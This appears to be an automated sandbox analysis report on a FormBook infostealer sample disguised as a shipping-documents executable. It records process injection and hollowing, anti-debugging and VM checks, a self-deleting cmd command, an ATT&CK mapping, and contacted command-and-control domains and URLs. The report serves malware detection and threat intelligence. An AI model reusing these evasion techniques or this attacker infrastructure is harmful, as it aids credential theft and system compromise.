          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 13.248.252.114 80
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\help.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\help.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\help.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\help.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\help.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\help.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Windows\SysWOW64\svchost.exeThread register set: target process: 4084Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeThread register set: target process: 4084Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeThread register set: target process: 3636Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Windows\SysWOW64\svchost.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Windows\SysWOW64\svchost.exeSection unmapped: C:\Windows\SysWOW64\help.exe base address: 470000Jump to behavior
          Writes to foreign memory regions
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2CD0008Jump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Export Shipment Documents 72335.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\help.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"Jump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
          Source: explorer.exe, 0000000D.00000003.2354337486.0000000007CAB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007CAB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007CAB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progman|K
          Source: Export Shipment Documents 72335.exe, explorer.exe, 00000003.00000000.1449709277.00000000044D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1448331055.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.000000000936E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000003.00000000.1448331055.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1448058321.0000000000A20000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2299870409.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 0000000D.00000002.2698342567.0000000001230000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: *Progman#
          Source: explorer.exe, 00000003.00000000.1448331055.0000000001090000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: 0Program Manager
          Source: Export Shipment Documents 72335.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
          Source: explorer.exe, 00000003.00000000.1448331055.0000000001090000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 00000003.00000000.1452754587.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.000000000936E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd]1Q
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Export Shipment Documents 72335.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
          Source: Export Shipment Documents 72335.exeBinary or memory string: WIN_XP
          Source: Export Shipment Documents 72335.exeBinary or memory string: WIN_XPe
          Source: Export Shipment Documents 72335.exeBinary or memory string: WIN_VISTA
          Source: Export Shipment Documents 72335.exeBinary or memory string: WIN_7

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire Infrastructure2
          Valid Accounts          		1
          Native API          		1
          DLL Side-Loading          		1
          Exploitation for Privilege Escalation          		1
          Disable or Modify Tools          		21
          Input Capture          		2
          System Time Discovery          		Remote Services1
          Archive Collected Data          		2
          Ingress Tool Transfer          		Exfiltration Over Other Network Medium1
          System Shutdown/Reboot
          CredentialsDomainsDefault Accounts1
          Shared Modules          		2
          Valid Accounts          		1
          DLL Side-Loading          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          Account Discovery          		Remote Desktop Protocol21
          Input Capture          		1
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain Accounts2
          Command and Scripting Interpreter          		Logon Script (Windows)2
          Valid Accounts          		2
          Obfuscated Files or Information          		Security Account Manager2
          File and Directory Discovery          		SMB/Windows Admin Shares3
          Clipboard Data          		2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
          Access Token Manipulation          		1
          DLL Side-Loading          		NTDS215
          System Information Discovery          		Distributed Component Object ModelInput Capture12
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script612
          Process Injection          		1
          Masquerading          		LSA Secrets451
          Security Software Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
          Valid Accounts          		Cached Domain Credentials13
          Virtualization/Sandbox Evasion          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items13
          Virtualization/Sandbox Evasion          		DCSync3
          Process Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
          Access Token Manipulation          		Proc Filesystem11
          Application Window Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt612
          Process Injection          		/etc/passwd and /etc/shadow1
          System Owner/User Discovery          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1543817 Sample: Export Shipment Documents 7... Startdate: 28/10/2024 Architecture: WINDOWS Score: 100 32 www.oco188rtp.xyz 2->32 34 www.764.xyz 2->34 36 3 other IPs or domains 2->36 40 Suricata IDS alerts for network traffic 2->40 42 Found malware configuration 2->42 44 Malicious sample detected (through community Yara rule) 2->44 48 8 other signatures 2->48 11 Export Shipment Documents 72335.exe 1 2->11         started        signatures3 46 Performs DNS queries to domains with low reputation 34->46 process4 signatures5 62 Writes to foreign memory regions 11->62 64 Maps a DLL or memory area into another process 11->64 14 svchost.exe 11->14         started        process6 signatures7 66 Modifies the context of a thread in another process (thread injection) 14->66 68 Maps a DLL or memory area into another process 14->68 70 Sample uses process hollowing technique 14->70 72 3 other signatures 14->72 17 explorer.exe 26 1 14->17 injected process8 process9 19 help.exe 17->19         started        22 WerFault.exe 21 17->22         started        signatures10 50 Modifies the context of a thread in another process (thread injection) 19->50 52 Maps a DLL or memory area into another process 19->52 54 Tries to detect virtualization through RDTSC time measurements 19->54 56 Switches to a custom stack to bypass stack traces 19->56 24 explorer.exe 31 127 19->24         started        28 cmd.exe 1 19->28         started        process11 dnsIp12 38 www.764.xyz 13.248.252.114, 49737, 80 AMAZON-02US United States 24->38 58 System process connects to network (likely due to code injection or exploit) 24->58 60 Query firmware table information (likely to detect VMs) 24->60 30 conhost.exe 28->30         started        signatures13 process14

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          Export Shipment Documents 72335.exe37%ReversingLabsWin32.Trojan.Swotter
          Export Shipment Documents 72335.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV0%URL Reputationsafe
          https://api.msn.com:443/v1/news/Feed/Windows?0%URL Reputationsafe
          https://excel.office.com0%URL Reputationsafe
          http://www.microsoft.c0%URL Reputationsafe
          https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings0%URL Reputationsafe
          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew0%URL Reputationsafe
          https://outlook.com0%URL Reputationsafe
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp0%URL Reputationsafe
          https://api.msn.com/v1/news/Feed/Windows?0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.764.xyz
          		13.248.252.114
          		truetrue
            		unknown
            www.unwaleheathyhibbing.cfd
            		unknown
            		unknowntrue
              		unknown
              www.ikigorakos.net
              		unknown
              		unknowntrue
                		unknown
                www.oco188rtp.xyz
                		unknown
                		unknowntrue
                  		unknown
                  api.msn.com
                  		unknown
                  		unknowntrue
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://www.yzwj-she.xyzReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      http://www.ixiaopu.topexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                        		unknown
                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13glsK-darkexplorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          https://powerpoint.office.comerexplorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                            		unknown
                            https://android.notify.windows.com/iOSA4explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                              		unknown
                              http://www.rilseguloseheating.shopexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                		unknown
                                http://www.uiejosdarksumdauts.shop/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  http://www.mployee-jkmmz.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                    		unknown
                                    https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.erform-tgap.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                      		unknown
                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0-darkexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://www.msn.com/en-us/health/other/say-goodbye-to-the-covid-19-vaccination-card/ar-AA1hHYLuexplorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://www.msn.com/en-us/news/politics/judge-erupts-at-trump-s-lawyers-for-wasting-time-with-ridicuexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		unknown
                                            https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		unknown
                                              http://www.taff-ltpugj.xyzReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		unknown
                                                https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007BA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winterexplorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13D4or-darkexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    http://www.rilseguloseheating.shop/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		unknown
                                                      http://www.unwaleheathyhibbing.cfd/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.764.xyz/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          http://www.elieve-nrrv.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		unknown
                                                            https://excel.office.comexplorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C97000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C97000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              http://www.aby-qwjqlg.xyzReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		unknown
